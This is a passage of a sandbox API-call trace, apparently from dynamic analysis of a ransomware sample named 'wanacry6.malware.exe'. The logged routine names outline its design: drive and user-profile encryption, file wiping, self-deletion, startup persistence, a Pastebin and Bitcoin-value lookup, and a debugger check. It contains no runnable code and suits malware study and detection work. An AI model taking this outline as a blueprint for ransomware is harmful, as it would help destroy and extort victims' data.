pv=0xb6216f620*=0xbc, pcbRead=0xb6216f5f0*=0x4) returned 0x0 [0037.378] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216f620, cb=0x4, pcbRead=0xb6216f5f0 | out: pv=0xb6216f620*=0xbc, pcbRead=0xb6216f5f0*=0x4) returned 0x0 [0037.378] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb6216f620, cb=0x4, pcbRead=0xb6216f5f0 | out: pv=0xb6216f620*=0x84, pcbRead=0xb6216f5f0*=0x4) returned 0x0 [0037.378] IStream:RemoteSeek (in: This=0xb622f6670, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xb6216f5f0 | out: plibNewPosition=0xb6216f5f0) returned 0x0 [0037.378] ISequentialStream:RemoteRead (in: This=0xb622f6670, pv=0xb62300420, cb=0x0, pcbRead=0xb6216f5f0 | out: pv=0xb62300420*=0x0, pcbRead=0xb6216f5f0*=0x0) returned 0x0 [0037.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6216f4b0 | out: lpSystemTimeAsFileTime=0xb6216f4b0*(dwLowDateTime=0x4a06b45c, dwHighDateTime=0x1d31057)) [0037.378] CloseHandle (hObject=0x14c) returned 1 [0037.378] IUnknown:Release (This=0xb622f6670) returned 0x0 [0037.379] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0037.380] IsDebuggerPresent () returned 0 [0037.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xb6214fd40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0037.380] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpszLongPath=0xb6214fd40, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 0x31 [0037.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xb6214fcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0037.380] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0037.380] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7ffe2a71dbbc [0037.380] Wow64DisableWow64FsRedirection (in: OldValue=0xb6215fc70 | out: OldValue=0xb6215fc70*=0x0) returned 0 [0037.380] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0037.381] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xb6215fa40, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0037.381] GetFileType (hFile=0x14c) returned 0x1 [0037.381] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0037.381] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0037.382] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0037.382] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0037.382] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0037.382] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xb6215fcf0 | out: ppstm=0xb6215fcf0*=0xb622f6a70) returned 0x0 [0037.382] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0037.382] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0037.382] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0037.382] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0037.382] ISequentialStream:RemoteWrite (in: This=0xb622f6a70, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0037.382] IStream:RemoteSeek (in: This=0xb622f6a70, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0037.382] IStream:RemoteSeek (in: This=0xb622f6a70, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xb6215fc08 | out: plibNewPosition=0xb6215fc08) returned 0x0 [0037.382] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb62300ce0, cb=0x18, pcbRead=0xb6215fb50 | out: pv=0xb62300ce0*=0xa3, pcbRead=0xb6215fb50*=0x18) returned 0x0 [0037.382] IStream:RemoteSeek (in: This=0xb622f6a70, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xb6215fb50 | out: plibNewPosition=0xb6215fb50) returned 0x0 [0037.382] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215fbf0, cb=0x4, pcbRead=0xb6215fb50 | out: pv=0xb6215fbf0*=0x45, pcbRead=0xb6215fb50*=0x4) returned 0x0 [0037.382] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215fc20, cb=0x10, pcbRead=0xb6215fbf0 | out: pv=0xb6215fc20*=0x4d, pcbRead=0xb6215fbf0*=0x10) returned 0x0 [0037.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6215fab0 | out: lpSystemTimeAsFileTime=0xb6215fab0*(dwLowDateTime=0x4a09167c, dwHighDateTime=0x1d31057)) [0037.382] IStream:RemoteSeek (in: This=0xb622f6a70, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xb6215fc88 | out: plibNewPosition=0xb6215fc88) returned 0x0 [0037.382] IStream:RemoteSeek (in: This=0xb622f6a70, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xb6215f560 | out: plibNewPosition=0xb6215f560) returned 0x0 [0037.382] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f310, cb=0x4, pcbRead=0xb6215f2e0 | out: pv=0xb6215f310*=0x6b, pcbRead=0xb6215f2e0*=0x4) returned 0x0 [0037.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6215f1a0 | out: lpSystemTimeAsFileTime=0xb6215f1a0*(dwLowDateTime=0x4a09167c, dwHighDateTime=0x1d31057)) [0037.382] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f578, cb=0x4, pcbRead=0xb6215f2e0 | out: pv=0xb6215f578*=0xa6, pcbRead=0xb6215f2e0*=0x4) returned 0x0 [0037.382] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f320, cb=0x34, pcbRead=0xb6215f2e0 | out: pv=0xb6215f320*=0xe1, pcbRead=0xb6215f2e0*=0x34) returned 0x0 [0037.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6215f1a0 | out: lpSystemTimeAsFileTime=0xb6215f1a0*(dwLowDateTime=0x4a09167c, dwHighDateTime=0x1d31057)) [0037.382] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f578, cb=0x4, pcbRead=0xb6215f2e0 | out: pv=0xb6215f578*=0x43, pcbRead=0xb6215f2e0*=0x4) returned 0x0 [0037.382] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215fa30, cb=0xc6, pcbRead=0xb6215f2e0 | out: pv=0xb6215fa30*=0xcd, pcbRead=0xb6215f2e0*=0xc6) returned 0x0 [0037.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6215f1a0 | out: lpSystemTimeAsFileTime=0xb6215f1a0*(dwLowDateTime=0x4a09167c, dwHighDateTime=0x1d31057)) [0037.382] IStream:RemoteSeek (in: This=0xb622f6a70, dlibMove=0x1, dwOrigin=0x1, plibNewPosition=0xb6215f2e0 | out: plibNewPosition=0xb6215f2e0) returned 0x0 [0037.382] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f318, cb=0x4, pcbRead=0xb6215f2e0 | out: pv=0xb6215f318*=0xbc, pcbRead=0xb6215f2e0*=0x4) returned 0x0 [0037.383] IStream:RemoteSeek (in: This=0xb622f6a70, dlibMove=0x18, dwOrigin=0x1, plibNewPosition=0xb6215f2e0 | out: plibNewPosition=0xb6215f2e0) returned 0x0 [0037.383] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f310, cb=0x4, pcbRead=0xb6215f2e0 | out: pv=0xb6215f310*=0x6b, pcbRead=0xb6215f2e0*=0x4) returned 0x0 [0037.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6215f1a0 | out: lpSystemTimeAsFileTime=0xb6215f1a0*(dwLowDateTime=0x4a09167c, dwHighDateTime=0x1d31057)) [0037.383] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f578, cb=0x4, pcbRead=0xb6215f2e0 | out: pv=0xb6215f578*=0xaf, pcbRead=0xb6215f2e0*=0x4) returned 0x0 [0037.383] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f320, cb=0x26, pcbRead=0xb6215f2e0 | out: pv=0xb6215f320*=0xe6, pcbRead=0xb6215f2e0*=0x26) returned 0x0 [0037.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6215f1a0 | out: lpSystemTimeAsFileTime=0xb6215f1a0*(dwLowDateTime=0x4a09167c, dwHighDateTime=0x1d31057)) [0037.383] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f578, cb=0x4, pcbRead=0xb6215f2e0 | out: pv=0xb6215f578*=0x47, pcbRead=0xb6215f2e0*=0x4) returned 0x0 [0037.383] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215fa30, cb=0xce, pcbRead=0xb6215f2e0 | out: pv=0xb6215fa30*=0xbf, pcbRead=0xb6215f2e0*=0xce) returned 0x0 [0037.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6215f1a0 | out: lpSystemTimeAsFileTime=0xb6215f1a0*(dwLowDateTime=0x4a09167c, dwHighDateTime=0x1d31057)) [0037.383] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215fc70, cb=0x1, pcbRead=0xb6215f560 | out: pv=0xb6215fc70*=0x1, pcbRead=0xb6215f560*=0x1) returned 0x0 [0037.383] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f590, cb=0x4, pcbRead=0xb6215f560 | out: pv=0xb6215f590*=0x28, pcbRead=0xb6215f560*=0x4) returned 0x0 [0037.383] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f590, cb=0x4, pcbRead=0xb6215f560 | out: pv=0xb6215f590*=0x23, pcbRead=0xb6215f560*=0x4) returned 0x0 [0037.383] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb6215f590, cb=0x4, pcbRead=0xb6215f560 | out: pv=0xb6215f590*=0xf4, pcbRead=0xb6215f560*=0x4) returned 0x0 [0037.383] IStream:RemoteSeek (in: This=0xb622f6a70, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xb6215f560 | out: plibNewPosition=0xb6215f560) returned 0x0 [0037.383] ISequentialStream:RemoteRead (in: This=0xb622f6a70, pv=0xb62300ce0, cb=0x9394, pcbRead=0xb6215f560 | out: pv=0xb62300ce0*=0x6d, pcbRead=0xb6215f560*=0x9394) returned 0x0 [0037.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6215f420 | out: lpSystemTimeAsFileTime=0xb6215f420*(dwLowDateTime=0x4a09167c, dwHighDateTime=0x1d31057)) [0037.404] IUnknown:Release (This=0xb622f6a70) returned 0x0 [0037.404] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0037.405] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0037.405] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0037.405] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0037.405] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0037.405] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0037.405] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0037.405] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0037.405] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0037.405] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0037.405] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0037.405] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0037.405] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0037.405] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0037.405] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0037.405] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0037.405] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0037.405] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0037.405] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0037.405] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0037.405] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0037.405] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0037.405] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0037.405] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0037.406] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0037.406] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0037.406] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0037.406] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0037.406] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0037.406] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0037.406] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0037.407] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0037.407] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0037.407] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0037.407] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0037.407] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0037.407] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0037.407] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0037.407] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0037.407] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0037.407] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0037.407] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0037.407] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0037.407] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0037.408] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0037.408] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0037.408] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0037.408] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0037.408] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0037.408] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0037.408] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0037.408] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0037.408] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0037.408] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0037.408] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.408] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.408] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0037.408] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0037.408] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0037.408] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0037.408] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0037.408] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0037.408] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0037.408] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0037.408] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0037.408] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0037.408] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0037.408] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0037.408] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0037.408] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0037.408] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0037.408] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0037.408] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0037.409] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0037.409] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0037.409] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0037.409] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0037.409] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0037.409] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0037.409] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0037.409] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0037.409] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0037.409] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0037.409] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0037.409] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0037.409] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0037.409] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0037.409] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0037.409] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0037.409] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0037.409] CharUpperBuffW (in: 